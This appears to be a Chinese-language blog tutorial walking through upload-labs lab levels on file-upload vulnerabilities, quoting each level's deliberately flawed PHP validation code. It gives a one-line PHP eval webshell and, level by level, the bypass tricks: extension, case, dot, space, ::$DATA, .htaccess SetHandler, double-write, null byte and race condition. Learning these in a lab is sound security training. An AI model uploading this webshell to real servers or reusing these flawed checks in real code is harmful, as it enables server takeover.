文件上传漏洞+upload-labs靶场实战（待更新）
一、文件上传漏洞的危害
如果服务器端代码未对客户端上传的文件进行严格的验证和过滤，就容易造成非法用户可以上传任意恶意脚本文件来控制整个网站甚至服务器。这种恶意脚本文件又称为webshell，也可将其称为一种网页后门。webshell脚本具有非常强大的功能，比如查看服务器目录，服务器中的文件，执行系统命令等。
二、一句话木马
1、服务端：本地存储的脚本木马文件
攻击者将恶意代码上传到服务器的网站中执行权限，该语句触发后，接收入侵者通过客户端提交的数据，执行并完成相应的操作。
2、客户端：远程服务器上插入一句话的可执行文件
用来向服务端提交控制数据，提交的数据通过服务端构成完整的功能语句并执行，也就是生成攻击者所需要的木马文件。
3、代码内容如下
<?php @eval($_POST[king_7]);?>
三、JS绕过攻击（Pass-01)
js检测绕过上传漏洞常见于用户选择文件上传的场景，如果上传文件的后缀不被允许则会弹框告知，此时上传文件的数据包并没有发送到服务端，只是在客户端浏览器使用JavaScript对数据包进行检测。
1、源码
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
alert(errMsg);
return false;
}
}
2、绕过方法
把需要上传文件的后缀改成允许上传的类型，如jpg，png等绕过检测，在抓包时把后缀名改成可执行文件的后缀（如.php)即可上传成功。
四、文件类型绕过攻击（Pass-02）
1、源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确，请重新上传！';
}
} else {
$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建！';
}
}2、绕过方法
在客户端上传文件时，通过burpsuite抓包，可以更改数据包中Content-Type的值。其中，php格式的Content-Type为application/octet-stream；jpg格式的Content-Type为image/jpeg。
五、文件后缀绕过攻击（Pass-03）
当服务端代码中限制某些后缀的文件不允许上传时，可以考虑在Apache下手。有些Apache是允许解析其他文件后缀的，在httpd.conf中配置如下代码，即可解析.phtml .phps .php5 .pht等文件。
AddType application/x-httpd-php .php .phtml .phps .php5 .pht1、源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
}
}可以看出不允许上传.asp,.aspx,.php,.jsp后缀的文件，但如果Apache的httpd.conf有相关配置代码就可以上传.phtml .phps .php5 .pht
2、绕过方法
上传后缀为.phtml .phps .php5 .pht的一句话木马文件，通过蚁剑等工具连接webshell。
六、.htaccess绕过（Pass-04）
1、源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
}
}本关禁止了很多常见的后缀文件，除了.htaccess，所以可以尝试使用.htaccess重写文件解析绕过。
2、绕过方法
前提条件
1）mod_rewrite模块开启
2）AllowOverride All
先上传一个xxx.htaccess文件，代码如下：
SetHandler application/x-httpd-php
这样所有的文件都会当成php来解析。
上传时在burpsuite里抓包，把xxx.htaccess的文件名删了，只留.htaccess，然后再上传改了合适后缀名的一句话木马文件，最后使用蚁剑等工具连接webshell。
七、大小写绕过（Pass-05）
1、源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
}
}
与pass-04的源码进行对比，不难发现本关过滤了.htaccess，但将后缀转换为小写的代码去掉了，因此可以使用大小绕过。
2、绕过方法
通过更改后缀名的大小写进行绕过。
八、空格绕过（Pass-06）
1、部分源码
...
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
...与pass-04和05的源码进行对比，不难发现本关将首尾去空的代码去掉了。
2、绕过方法
结合burp suite工具，在后缀名后加空格进行绕过。
九、点绕过（Pass-07）
1、部分源码
...
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
...没有对后缀名末尾的点进行处理，利用windows特性，会自动去掉后缀名中最后的”.” 。
2、绕过方法
结合burp suite工具，在后缀名后加 . 进行绕过。
十、:$DATA绕过（Pass-08）
1、部分源码
...
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
...没有对后缀名中的’::$DATA’进行过滤。
2、绕过方法
在php+windows的情况下：如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名，且保持"::$DATA"之前的文件名。利用windows特性，可结合burp suite工具在后缀名中加” ::$DATA”绕过。
十一、 . . 绕过（Pass-09)
1、源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
}
}源码存在一定的漏洞：首先删除末尾的 “.”，通过strrchr函数取后缀名，将后缀名全部转为小写后去除::$DATA和空格。但是最后保存文件的时候没有重命名而使用的原始的文件名，导致可以利用1.php. .（点+空格+点）来绕过。
十二、双写绕过
1、源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建！';
}
}
黑名单过滤，将黑名单里的后缀名替换为空且只替换一次，因此可以用双写绕过，即".pphphp"。
？十三、PHP%00截断
1、截断原理:由于00代表结束符，所以会把00后面的所有字符删除。
2、截断条件：PHP版本小于5.3.4，PHP的magic_quotes_gpc为OFF状态
？十四、竞争条件攻击
一些网站上传文件的逻辑是先允许上传任意文件，然后检查上传的文件是否包含webshell脚本，如果包含则删除。
而文件上传成功和删除文件之间存在一个短的时间差（因为要执行检查文件和删除文件的操作），攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。
附录
upload-labs本地靶机: https://github.com/Tj1ngwe1/upload-labs
√一句话木马：https://www.bilibili.com/video/BV114411C7cJ
√蚁剑：https://www.fujieace.com/hacker/tools/antsword.html
